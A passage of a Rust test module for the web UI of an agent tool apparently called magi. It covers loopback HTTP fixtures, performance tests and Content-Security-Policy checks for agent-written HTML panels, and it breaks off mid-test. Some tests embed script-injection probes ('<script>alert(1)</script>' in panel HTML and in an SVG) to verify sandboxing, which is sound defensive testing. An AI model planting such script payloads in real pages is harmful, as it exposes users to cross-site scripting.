10858        for (v, q) in views.iter().zip(&qs) {
10859            assert_eq!(
10860                v.deputies_enabled,
10861                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
10862            );
10863        }
10864
10865        let views = question_views(qs, &store, || None);
10866        assert!(views.iter().all(|v| !v.deputies_enabled));
10867
10868        let calls = std::cell::Cell::new(0usize);
10869        let views = question_views(Vec::new(), &store, || {
10870            calls.set(calls.get() + 1);
10871            None
10872        });
10873        assert!(views.is_empty());
10874        assert_eq!(calls.get(), 0);
10875    }
10876
10877    use pretty_assertions::assert_eq;
10878    use serde_json::Value;
10879    use tempfile::TempDir;
10880    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
10881
10882    use super::*;
10883    use crate::config::Config;
10884    use crate::queue::Source;
10885
10886    /// How many 10ms steps a settle loop takes before it calls a stall a
10887    /// stall - thirty seconds.
10888    ///
10889    /// These loops wait on real `sh` subprocesses, and the machine that runs
10890    /// the gate runs several suites at once, so a two-second budget was not
10891    /// waiting for the reply, it was racing the scheduler: two of these
10892    /// tests failed under that load with the turn simply not landed yet.
10893    /// This is a hang guard, not a latency assertion - every loop breaks the
10894    /// moment its condition holds, so a generous cap costs an idle machine
10895    /// nothing and still fails a genuine hang instead of hanging the suite.
10896    const SETTLE_STEPS: usize = 3_000;
10897
10898    /// A home with a queue and a runs directory, and a router serving it on
10899    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
10900    /// dependency, not ours - so the tests drive a real socket, which has the
10901    /// side benefit of asserting the status line and content types the phone
10902    /// actually receives.
10903    struct Fixture {
10904        home: TempDir,
10905        addr: SocketAddr,
10906    }
10907
10908    impl Fixture {
10909        async fn start() -> Self {
10910            Self::with_loop(launch_idle).await
10911        }
10912
10913        /// A fixture whose loop is `launch`.
10914        async fn with_loop(launch: Launch) -> Self {
10915            let home = TempDir::new().expect("temp home");
10916            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
10917            Self { home, addr }
10918        }
10919
10920        /// A fixture whose `ui.repo` is a real directory rather than the
10921        /// usual placeholder - for the routes that read config off it
10922        /// (`GET /api/repos`) and would otherwise have nothing to discover.
10923        async fn with_repo(repo: PathBuf) -> Self {
10924            let home = TempDir::new().expect("temp home");
10925            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
10926            Self { home, addr }
10927        }
10928
10929        /// As [`Fixture::with_repo`], with the machine-config file the
10930        /// settings screen reads and writes.
10931        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
10932            let home = TempDir::new().expect("temp home");
10933            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
10934            Self { home, addr }
10935        }
10936
10937        async fn serve(
10938            home: &FsPath,
10939            repo: PathBuf,
10940            launch: Launch,
10941            machine: Option<PathBuf>,
10942        ) -> SocketAddr {
10943            let queue = Queue::at(home.join("queue"));
10944            let runs = home.join("runs");
10945            std::fs::create_dir_all(&runs).expect("runs dir");
10946            let worktrees = home.join("wt").join("magi");
10947            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
10948            let ui = Ui::new(
10949                queue,
10950                Questions::at(home.join("questions")),
10951                Talks::at(home.join("talks")),
10952                runs,
10953                home.to_path_buf(),
10954                repo,
10955            )
10956            .with_worktrees_root(worktrees)
10957            .with_machine_config(machine)
10958            .with_launch(launch);
10959            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10960                .await
10961                .expect("bind loopback");
10962            let addr = listener.local_addr().expect("local addr");
10963            tokio::spawn(async move {
10964                let router = ui
10965                    .router()
10966                    .layer(axum::middleware::from_fn(request_cost::observe));
10967                let _ = axum::serve(listener, router).await;
10968            });
10969            addr
10970        }
10971
10972        fn queue(&self) -> Queue {
10973            Queue::at(self.home.path().join("queue"))
10974        }
10975
10976        fn questions(&self) -> Questions {
10977            Questions::at(self.home.path().join("questions"))
10978        }
10979
10980        fn talks(&self) -> Talks {
10981            Talks::at(self.home.path().join("talks"))
10982        }
10983
10984        fn runs(&self) -> PathBuf {
10985            self.home.path().join("runs")
10986        }
10987
10988        async fn get(&self, path: &str) -> Res {
10989            request(self.addr, "GET", path, None).await
10990        }
10991
10992        /// The status and headers without the body, which is how the front end
10993        /// preflights a panel: a sandboxed frame is opaque to the parent
10994        /// document, so the only way to tell "no panel" from "a panel that
10995        /// rendered blank" is to ask before mounting.
10996        async fn head(&self, path: &str) -> Res {
10997            request(self.addr, "HEAD", path, None).await
10998        }
10999
11000        async fn post(&self, path: &str, body: Option<&str>) -> Res {
11001            request(self.addr, "POST", path, body).await
11002        }
11003
11004        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
11005            request_with(self.addr, "GET", path, None, extra).await
11006        }
11007
11008        async fn delete(&self, path: &str) -> Res {
11009            request(self.addr, "DELETE", path, None).await
11010        }
11011
11012        async fn put(&self, path: &str, body: &str) -> Res {
11013            request(self.addr, "PUT", path, Some(body)).await
11014        }
11015
11016        /// `POST` a raw body with its own headers - see [`request_bytes`].
11017        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
11018            request_bytes(self.addr, path, headers, body).await
11019        }
11020    }
11021
11022    /// Real tracking refs exercise the successful discovery path (including
11023    /// extraction), rather than counting cheap failures on a placeholder repo.
11024    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
11025        let tmp = TempDir::new().unwrap();
11026        let mut repos = Vec::new();
11027        for name in ["one", "two"] {
11028            let repo = tmp.path().join(name);
11029            let origin = tmp.path().join(format!("{name}.git"));
11030            std::fs::create_dir_all(&repo).unwrap();
11031            crate::git::git(&repo, &["init", "-b", "main"])
11032                .await
11033                .unwrap();
11034            std::fs::write(
11035                repo.join("magi.toml"),
11036                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
11037            )
11038            .unwrap();
11039            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
11040            crate::git::git(
11041                &repo,
11042                &[
11043                    "-c",
11044                    "user.name=fixture",
11045                    "-c",
11046                    "user.email=fixture@example.invalid",
11047                    "commit",
11048                    "-m",
11049                    "fixture",
11050                ],
11051            )
11052            .await
11053            .unwrap();
11054            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
11055                .await
11056                .unwrap();
11057            crate::git::git(
11058                &repo,
11059                &["remote", "add", "origin", origin.to_str().unwrap()],
11060            )
11061            .await
11062            .unwrap();
11063            crate::git::git(&repo, &["push", "origin", "main"])
11064                .await
11065                .unwrap();
11066            crate::git::git(
11067                &repo,
11068                &[
11069                    "symbolic-ref",
11070                    "refs/remotes/origin/HEAD",
11071                    "refs/remotes/origin/main",
11072                ],
11073            )
11074            .await
11075            .unwrap();
11076            let (cfg, _) = Config::discover(&repo, None).unwrap();
11077            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
11078            repos.push(repo);
11079        }
11080        let repos: [PathBuf; 2] = repos.try_into().unwrap();
11081        (tmp, repos)
11082    }
11083
11084    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
11085        let (tmp, repos) = performance_repositories().await;
11086        let machine = tmp.path().join("machine.toml");
11087        std::fs::write(&machine, "").unwrap();
11088        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
11089        (tmp, repos, fx)
11090    }
11091
11092    fn seed_performance(
11093        fx: &Fixture,
11094        repos: &[PathBuf; 2],
11095        questions: usize,
11096        runs: usize,
11097        items: usize,
11098    ) {
11099        // Saving states directly never starts a run or changes MAGI_HOME.
11100        for i in fx.questions().list().len()..questions {
11101            let mut question = Question::new(
11102                "20261001-000000-0000".into(),
11103                "implement".into(),
11104                "impl-A".into(),
11105                format!("question {i}"),
11106                "context".into(),
11107                vec!["yes".into(), "no".into()],
11108            );
11109            question.id = format!("20261003-000000-{i:04x}");
11110            fx.questions().put(&mut question).unwrap();
11111        }
11112        for i in run_ids(&fx.runs()).len()..runs {
11113            write_run_repo(
11114                &fx.runs(),
11115                &format!("20261001-000000-{i:04x}"),
11116                RunStatus::Ready,
11117                repos[i % 2].to_str().unwrap(),
11118            );
11119        }
11120        for i in fx.talks().list().len()..items {
11121            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
11122            let mut talk = fx.talks().get(&id).unwrap();
11123            talk.repo = repos[i % 2].clone();
11124            fx.talks().put(&mut talk).unwrap();
11125            let mut task = crate::queue::Task::new(
11126                format!("task {i}"),
11127                "instruction".into(),
11128                repos[i % 2].clone(),
11129                crate::queue::Source::Agent {
11130                    run: id,
11131                    node: crate::queue::CHAT_NODE.into(),
11132                },
11133            );
11134            task.id = format!("20261004-000000-{i:04x}");
11135            fx.queue().put(&mut task).unwrap();
11136            // Notices has a production retention cap; seed up to that cap.
11137            if i < crate::notices::CAP {
11138                Notices::at(fx.home.path().join("notifications"))
11139                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
11140                    .unwrap();
11141            }
11142        }
11143        assert_eq!(fx.questions().list().len(), questions);
11144        assert_eq!(run_ids(&fx.runs()).len(), runs);
11145        assert_eq!(fx.talks().list().len(), items);
11146        assert_eq!(fx.queue().list().len(), items);
11147        assert_eq!(
11148            Notices::at(fx.home.path().join("notifications"))
11149                .list()
11150                .len(),
11151            items.min(crate::notices::CAP)
11152        );
11153    }
11154
11155    fn request_counts(res: &Res) -> (usize, usize) {
11156        assert_eq!(res.status, 200, "{}", res.body);
11157        (
11158            res.header("x-test-discoveries").unwrap().parse().unwrap(),
11159            res.header("x-test-git").unwrap().parse().unwrap(),
11160        )
11161    }
11162
11163    #[tokio::test]
11164    async fn list_request_cost_is_independent_of_record_count() {
11165        let (_tmp, repos, fx) = performance_fixture().await;
11166        let mut previous = None;
11167        for n in [4, 60] {
11168            seed_performance(&fx, &repos, n, n, n);
11169            let mut costs = Vec::new();
11170            for (path, discoveries) in [
11171                ("/api/questions", 1),
11172                ("/api/talks", 0),
11173                ("/api/health", 0),
11174                ("/api/stats", 1),
11175            ] {
11176                // Equal cold extraction caches at both scales; this also
11177                // bounds first-request cost instead of only warmed requests.
11178                for repo in &repos {
11179                    let cache = repo.join(".git/magi/config");
11180                    if cache.exists() {
11181                        std::fs::remove_dir_all(cache).unwrap();
11182                    }
11183                }
11184                let cost = request_counts(&fx.get(path).await);
11185                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
11186                assert_eq!(cost.0, discoveries, "{path}, N={n}");
11187                assert!(
11188                    cost.1 <= 40 && (discoveries == 0 || cost.1 > 0),
11189                    "{path}: {cost:?}"
11190                );
11191                costs.push(cost);
11192            }
11193            if let Some(previous) = previous {
11194                assert_eq!(costs, previous);
11195            }
11196            previous = Some(costs);
11197        }
11198        // runs reads shared row inputs and probes process liveness; queue
11199        // builds one blocker inventory; notifications reads its own store.
11200        // None discovers configuration or spawns git per item.
11201    }
11202
11203    /// The same handler path without transport, so the deterministic cause
11204    /// can also be checked in environments that prohibit binding sockets.
11205    #[tokio::test]
11206    async fn list_handler_cost_without_transport() {
11207        let (_tmp, repos) = performance_repositories().await;
11208        let fx = Fixture {
11209            home: TempDir::new().unwrap(),
11210            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11211        };
11212        let ui = Arc::new(
11213            Ui::new(
11214                fx.queue(),
11215                fx.questions(),
11216                fx.talks(),
11217                fx.runs(),
11218                fx.home.path().to_path_buf(),
11219                repos[0].clone(),
11220            )
11221            .with_worktrees_root(fx.home.path().join("wt")),
11222        );
11223        let mut previous = None;
11224        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
11225            seed_performance(&fx, &repos, n, runs, items);
11226            let mut costs = Vec::new();
11227            for endpoint in ["questions", "talks", "health", "stats"] {
11228                for repo in &repos {
11229                    let cache = repo.join(".git/magi/config");
11230                    if cache.exists() {
11231                        std::fs::remove_dir_all(cache).unwrap();
11232                    }
11233                }
11234                let (_, cost) = request_cost::measure(async {
11235                    match endpoint {
11236                        "questions" => {
11237                            let _ = questions_list(State(ui.clone())).await.unwrap();
11238                        }
11239                        "talks" => {
11240                            let _ = talks_list(
11241                                State(ui.clone()),
11242                                Query(ListQuery {
11243                                    limit: None,
11244                                    ids: None,
11245                                }),
11246                                header::HeaderMap::new(),
11247                            )
11248                            .await
11249                            .unwrap();
11250                        }
11251                        "health" => {
11252                            let _ = health(State(ui.clone())).await.unwrap();
11253                        }
11254                        _ => {
11255                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
11256                                .await
11257                                .unwrap();
11258                        }
11259                    }
11260                })
11261                .await;
11262                eprintln!("{endpoint} handler N={n}: {cost:?}");
11263                assert_eq!(
11264                    cost.0,
11265                    if matches!(endpoint, "talks" | "health") {
11266                        0
11267                    } else {
11268                        1
11269                    },
11270                    "{endpoint}"
11271                );
11272                assert!(
11273                    cost.1 <= 40 && (matches!(endpoint, "talks" | "health") || cost.1 > 0),
11274                    "{endpoint}: {cost:?}"
11275                );
11276                costs.push(cost);
11277            }
11278            if let Some(previous) = previous {
11279                assert_eq!(costs, previous);
11280            }
11281            previous = Some(costs);
11282        }
11283    }
11284
11285    #[tokio::test]
11286    async fn list_request_cost_scopes_do_not_mix() {
11287        let (_tmp, repos, fx) = performance_fixture().await;
11288        seed_performance(&fx, &repos, 10, 0, 10);
11289        let (questions, talks, notices) = tokio::join!(
11290            fx.get("/api/questions"),
11291            fx.get("/api/talks"),
11292            fx.get("/api/notifications")
11293        );
11294        assert_eq!(request_counts(&questions).0, 1);
11295        // Cached summaries perform no config discovery or git work, even
11296        // alongside the questions request that still discovers config.
11297        assert_eq!(request_counts(&talks), (0, 0));
11298        assert_eq!(request_counts(&notices), (0, 0));
11299    }
11300
11301    #[tokio::test]
11302    async fn list_endpoints_large_home_responses() {
11303        check_large_home_endpoints(false).await;
11304    }
11305
11306    #[tokio::test]
11307    #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
11308    async fn list_endpoints_large_home_ceiling() {
11309        check_large_home_endpoints(true).await;
11310    }
11311
11312    async fn check_large_home_endpoints(timed: bool) {
11313        let (_tmp, repos, fx) = performance_fixture().await;
11314        seed_performance(&fx, &repos, 200, 300, 400);
11315        let mut failures = Vec::new();
11316        // app.js boot/change loads plus the initial dashboard, settings and
11317        // repo picker. SSE is a persistent stream, not a bounded GET.
11318        for path in [
11319            "/",
11320            "/app.js",
11321            "/app.css",
11322            "/api/questions",
11323            "/api/runs?limit=300",
11324            "/api/queue",
11325            "/api/talks",
11326            "/api/notifications",
11327            "/api/health",
11328            "/api/stats",
11329            "/api/loop",
11330            "/api/settings",
11331            "/api/repos",
11332        ] {
11333            let start = std::time::Instant::now();
11334            let result = if timed {
11335                tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
11336            } else {
11337                Ok(fx.get(path).await)
11338            };
11339            let elapsed = start.elapsed();
11340            eprintln!("{path}: {elapsed:?}");
11341            match result {
11342                Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
11343                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
11344                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
11345            }
11346        }
11347        assert!(failures.is_empty(), "{}", failures.join("\n"));
11348    }
11349
11350    struct Res {
11351        status: u16,
11352        headers: String,
11353        /// The header block with its original casing, for the assertions that
11354        /// compare a header *value* rather than looking for a name. Lowercasing
11355        /// a CSP would hide a directive spelled with a capital letter, and the
11356        /// whole point of that test is that the string is exactly right.
11357        head: String,
11358        body: String,
11359        /// The body before any UTF-8 handling, for the routes that serve
11360        /// something other than text. A panel asset is a PNG as often as not,
11361        /// and `from_utf8_lossy` would silently replace half of it.
11362        bytes: Vec<u8>,
11363    }
11364
11365    impl Res {
11366        fn json(&self) -> Value {
11367            serde_json::from_str(&self.body)
11368                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
11369        }
11370
11371        /// One header's value verbatim, or `None` when it was not sent.
11372        fn header(&self, name: &str) -> Option<&str> {
11373            self.head.lines().find_map(|line| {
11374                let (key, value) = line.split_once(':')?;
11375                key.trim()
11376                    .eq_ignore_ascii_case(name)
11377                    .then(|| value.trim_start().trim_end_matches('\r'))
11378            })
11379        }
11380    }
11381
11382    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
11383    /// be read to end-of-stream without parsing framing.
11384    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
11385        request_with(addr, method, path, body, &[]).await
11386    }
11387
11388    /// As [`request`], with extra request headers - conditional GETs need
11389    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
11390    /// worse than one that sets none.
11391    async fn request_with(
11392        addr: SocketAddr,
11393        method: &str,
11394        path: &str,
11395        body: Option<&str>,
11396        extra: &[(&str, &str)],
11397    ) -> Res {
11398        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11399        for (name, value) in extra {
11400            head.push_str(&format!("{name}: {value}\r\n"));
11401        }
11402        if let Some(body) = body {
11403            head.push_str("Content-Type: application/json\r\n");
11404            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
11405        }
11406        head.push_str("\r\n");
11407        if let Some(body) = body {
11408            head.push_str(body);
11409        }
11410        let mut socket = tokio::net::TcpStream::connect(addr)
11411            .await
11412            .expect("connect to the test server");
11413        socket
11414            .write_all(head.as_bytes())
11415            .await
11416            .expect("write request");
11417        let mut raw = Vec::new();
11418        socket.read_to_end(&mut raw).await.expect("read response");
11419        // Split on the raw bytes rather than on a lossy string, so a binary
11420        // body survives to be compared byte for byte.
11421        let split = raw
11422            .windows(4)
11423            .position(|w| w == b"\r\n\r\n")
11424            .expect("a header block");
11425        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11426        let bytes = raw[split + 4..].to_vec();
11427        let status = head
11428            .lines()
11429            .next()
11430            .and_then(|line| line.split_whitespace().nth(1))
11431            .and_then(|code| code.parse().ok())
11432            .expect("a status line");
11433        Res {
11434            status,
11435            headers: head.to_lowercase(),
11436            head,
11437            body: String::from_utf8_lossy(&bytes).into_owned(),
11438            bytes,
11439        }
11440    }
11441
11442    /// A `POST` carrying a raw binary body and its own headers, for the
11443    /// attachment upload route - `request_with` only ever sends
11444    /// `Content-Type: application/json`, which is wrong for an image and
11445    /// would corrupt anything not valid UTF-8 by round-tripping it through
11446    /// `&str` first.
11447    async fn request_bytes(
11448        addr: SocketAddr,
11449        path: &str,
11450        headers: &[(&str, &str)],
11451        body: &[u8],
11452    ) -> Res {
11453        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11454        for (name, value) in headers {
11455            head.push_str(&format!("{name}: {value}\r\n"));
11456        }
11457        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
11458        let mut socket = tokio::net::TcpStream::connect(addr)
11459            .await
11460            .expect("connect to the test server");
11461        socket
11462            .write_all(head.as_bytes())
11463            .await
11464            .expect("write request head");
11465        socket.write_all(body).await.expect("write request body");
11466        let mut raw = Vec::new();
11467        socket.read_to_end(&mut raw).await.expect("read response");
11468        let split = raw
11469            .windows(4)
11470            .position(|w| w == b"\r\n\r\n")
11471            .expect("a header block");
11472        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11473        let bytes = raw[split + 4..].to_vec();
11474        let status = head
11475            .lines()
11476            .next()
11477            .and_then(|line| line.split_whitespace().nth(1))
11478            .and_then(|code| code.parse().ok())
11479            .expect("a status line");
11480        Res {
11481            status,
11482            headers: head.to_lowercase(),
11483            head,
11484            body: String::from_utf8_lossy(&bytes).into_owned(),
11485            bytes,
11486        }
11487    }
11488
11489    /// A run on disk, without touching the process-global magi home.
11490    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
11491        let mut state = RunState::new(
11492            PathBuf::from("/repo/magi"),
11493            "main".to_owned(),
11494            "0123456789abcdef".to_owned(),
11495            "Add a web UI\n\nMobile first.".to_owned(),
11496            Config::default(),
11497        );
11498        state.id = id.to_owned();
11499        state.status = status;
11500        let dir = runs.join(id);
11501        std::fs::create_dir_all(&dir).expect("run dir");
11502        std::fs::write(
11503            dir.join("run.json"),
11504            serde_json::to_string_pretty(&state).expect("serialize run"),
11505        )
11506        .expect("write run.json");
11507    }
11508
11509    /// Same as [`write_run`], but against a named repository rather than the
11510    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
11511    /// spread across more than one.
11512    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
11513        let mut state = RunState::new(
11514            PathBuf::from(repo),
11515            "main".to_owned(),
11516            "0123456789abcdef".to_owned(),
11517            "task".to_owned(),
11518            Config::default(),
11519        );
11520        state.id = id.to_owned();
11521        state.status = status;
11522        let dir = runs.join(id);
11523        std::fs::create_dir_all(&dir).expect("run dir");
11524        std::fs::write(
11525            dir.join("run.json"),
11526            serde_json::to_string_pretty(&state).expect("serialize run"),
11527        )
11528        .expect("write run.json");
11529    }
11530
11531    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
11532        let body = serde_json::json!({
11533            "schema": 1,
11534            "pid": 4242,
11535            "started_at": Timestamp::now().to_string(),
11536            "updated_at": updated_at.to_string(),
11537            "idle": false,
11538            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
11539            "completed": 7,
11540            "polls": 143,
11541        });
11542        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
11543    }
11544
11545    /// A loop that starts, finds nothing to do, and waits to be told to stop.
11546    ///
11547    /// No test in this file may start the real loop - see [`Ui::launch`] for
11548    /// why - so this stands in for the only thing the routes need a loop to
11549    /// do: keep running until `Stop` is set, then return. A real
11550    /// `serve_until` here would resolve its queue and its status file through
11551    /// the process-global magi home, claim whatever it found in the
11552    /// operator's live backlog, overwrite the status file of the `magi serve`
11553    /// that owns it, and spend real agent quota on a real competition.
11554    fn launch_idle(
11555        _opts: daemon::Opts,
11556        stop: daemon::Stop,
11557    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11558        Box::pin(async move {
11559            while !stop.stopped() {
11560                tokio::time::sleep(Duration::from_millis(2)).await;
11561            }
11562            Ok(())
11563        })
11564    }
11565
11566    /// A loop that fails on the way up, the way one whose home has gone
11567    /// read-only does.
11568    fn launch_broken(
11569        _opts: daemon::Opts,
11570        _stop: daemon::Stop,
11571    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11572        // The stand-in dies instantly, so a restarted one can record its own
11573        // failure before the start's response is read. The second attempt
11574        // therefore fails with a different message, to tell a stale error
11575        // from a fresh one.
11576        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
11577        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
11578        Box::pin(async move {
11579            Err(anyhow::anyhow!(if first {
11580                "publish the daemon status file: read-only file system"
11581            } else {
11582                "the restarted stand-in failed as well"
11583            }))
11584        })
11585    }
11586
11587    /// The loop view once `want` accepts it.
11588    ///
11589    /// Polled rather than asserted straight after the POST because stopping
11590    /// is deliberately not instant - that is the contract - and rather than
11591    /// slept through because a fixed wait is either flaky or slow.
11592    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
11593    /// finite, so a genuine hang fails the test instead of hanging the
11594    /// suite.
11595    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
11596        for _ in 0..SETTLE_STEPS {
11597            let view = fx.get("/api/loop").await.json();
11598            if want(&view) {
11599                return view;
11600            }
11601            tokio::time::sleep(Duration::from_millis(10)).await;
11602        }
11603        panic!(
11604            "the loop never settled: {}",
11605            fx.get("/api/loop").await.json()
11606        );
11607    }
11608
11609    /// File an open question directly in the store the server reads.
11610    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
11611        let store = fx.questions();
11612        let mut q = Question::new(
11613            "20260902-000000-beef".to_owned(),
11614            "implement".to_owned(),
11615            "impl-A".to_owned(),
11616            summary.to_owned(),
11617            "because it matters".to_owned(),
11618            choices.iter().map(|c| (*c).to_owned()).collect(),
11619        );
11620        store.put(&mut q).expect("put question");
11621        q.id
11622    }
11623
11624    /// A question with a panel the server can serve, plus the named assets.
11625    ///
11626    /// Written through `Questions::put_panel` rather than by laying out the
11627    /// directory here, so these tests exercise the same on-disk shape the
11628    /// agents produce and cannot pass against a layout only the tests know.
11629    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
11630        let store = fx.questions();
11631        let mut q = Question::new(
11632            "20260902-000000-beef".to_owned(),
11633            "land".to_owned(),
11634            "fix".to_owned(),
11635            "Merge this?".to_owned(),
11636            "the diff is in the panel".to_owned(),
11637            vec!["merge".to_owned(), "hold".to_owned()],
11638        );
11639        // Staged outside the questions root, because `put_panel` copies from
11640        // wherever the agent left its files.
11641        let staging = fx.home.path().join("staging");
11642        std::fs::create_dir_all(&staging).expect("staging dir");
11643        let sources: Vec<PathBuf> = assets
11644            .iter()
11645            .map(|(name, bytes)| {
11646                let path = staging.join(name);
11647                std::fs::write(&path, bytes).expect("write staged asset");
11648                path
11649            })
11650            .collect();
11651        store
11652            .put_panel(&mut q, html, &sources)
11653            .expect("write the panel");
11654        store.put(&mut q).expect("put question");
11655        q.id
11656    }
11657
11658    /// A talk on disk, without talking to a model.
11659    ///
11660    /// Written as JSON straight into the store the server reads, because the
11661    /// only constructor `talk::begin` offers takes no turn but still requires
11662    /// a real caller-visible flow. The one thing this cannot make up is the
11663    /// seat, so it is built with the real `SeatState::new` and serialized -
11664    /// the alternative, hand-writing that object, would make these tests fail
11665    /// the day the seat gains a field.
11666    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
11667        seed_talk_at(&fx.talks(), id, status)
11668    }
11669
11670    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
11671        std::fs::create_dir_all(store.root()).expect("talks dir");
11672        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
11673            .expect("serialize a seat");
11674        let body = serde_json::json!({
11675            "schema": 1,
11676            "id": id,
11677            "repo": "/repo/magi",
11678            "agent": "mock",
11679            "status": status,
11680            "turns": [],
11681            "created_at": Timestamp::now().to_string(),
11682            "updated_at": Timestamp::now().to_string(),
11683            "seat": seat,
11684        });
11685        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
11686        store.get(id).expect("the seeded talk has to be readable");
11687        id.to_owned()
11688    }
11689
11690    #[tokio::test]
11691    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
11692        let fx = Fixture::start().await;
11693        let id = panel(
11694            &fx,
11695            "<h1>Merge?</h1><img src=\"diff.svg\">",
11696            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
11697        );
11698
11699        for path in [
11700            format!("/api/questions/{id}/panel"),
11701            format!("/api/questions/{id}/asset/diff.svg"),
11702        ] {
11703            let res = fx.get(&path).await;
11704            assert_eq!(res.status, 200, "{path}: {}", res.body);
11705            // The whole string, not a substring. A weakened directive - an
11706            // `img-src *` that lets a panel beacon out to a remote host, a
11707            // `script-src` anything, a missing `form-action` that lets it post
11708            // the owner's decision to a third party - has to fail here, and a
11709            // `contains` assertion would let every one of those through.
11710            assert_eq!(
11711                res.header("content-security-policy"),
11712                Some(
11713                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
11714                     font-src data:; base-uri 'none'; form-action 'none'; \
11715                     frame-ancestors 'self'"
11716                ),
11717                "{path} is the only thing between a hostile panel and the tailnet"
11718            );
11719            assert_eq!(
11720                res.header("x-content-type-options"),
11721                Some("nosniff"),
11722                "{path}: a browser must not re-decide the type we sent"
11723            );
11724            assert_eq!(
11725                res.header("referrer-policy"),
11726                Some("no-referrer"),
11727                "{path}: a panel must not leak the question id off the machine"
11728            );
11729
11730            // The front end mounts the frame only after a `HEAD` says the
11731            // panel is there, so `HEAD` has to answer with the same status and
11732            // the same policy as `GET` - a preflight that came back without
11733            // the CSP would mean a frame mounted on an unverified promise.
11734            let pre = fx.head(&path).await;
11735            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
11736            assert_eq!(
11737                pre.header("content-security-policy"),
11738                res.header("content-security-policy"),
11739                "{path}: the preflight carries the same policy"
11740            );
11741            assert_eq!(
11742                pre.header("content-type"),
11743                res.header("content-type"),
11744                "{path}: the preflight carries the same type"
11745            );
11746        }
11747    }
11748
11749    #[tokio::test]
11750    async fn a_panel_reaches_the_browser_byte_for_byte() {
11751        let fx = Fixture::start().await;
11752        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
11753        // tag, an entity, and a multi-byte character. The sandbox is what makes
11754        // this safe, so nothing here may be rewritten on the way out - a
11755        // rewritten diff is a diff the owner cannot trust.
11756        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
11757        let id = panel(&fx, html, &[]);
11758
11759        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
11760
11761        assert_eq!(res.status, 200);
11762        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
11763        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
11764        assert_eq!(
11765            res.header("content-disposition"),
11766            None,
11767            "the panel itself is rendered in the frame, not downloaded"
11768        );
11769    }
11770
11771    #[tokio::test]
11772    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
11773        let fx = Fixture::start().await;
11774        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
11775        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
11776        let id = panel(
11777            &fx,
11778            "<img src=\"diff.svg\"><img src=\"shot.png\">",
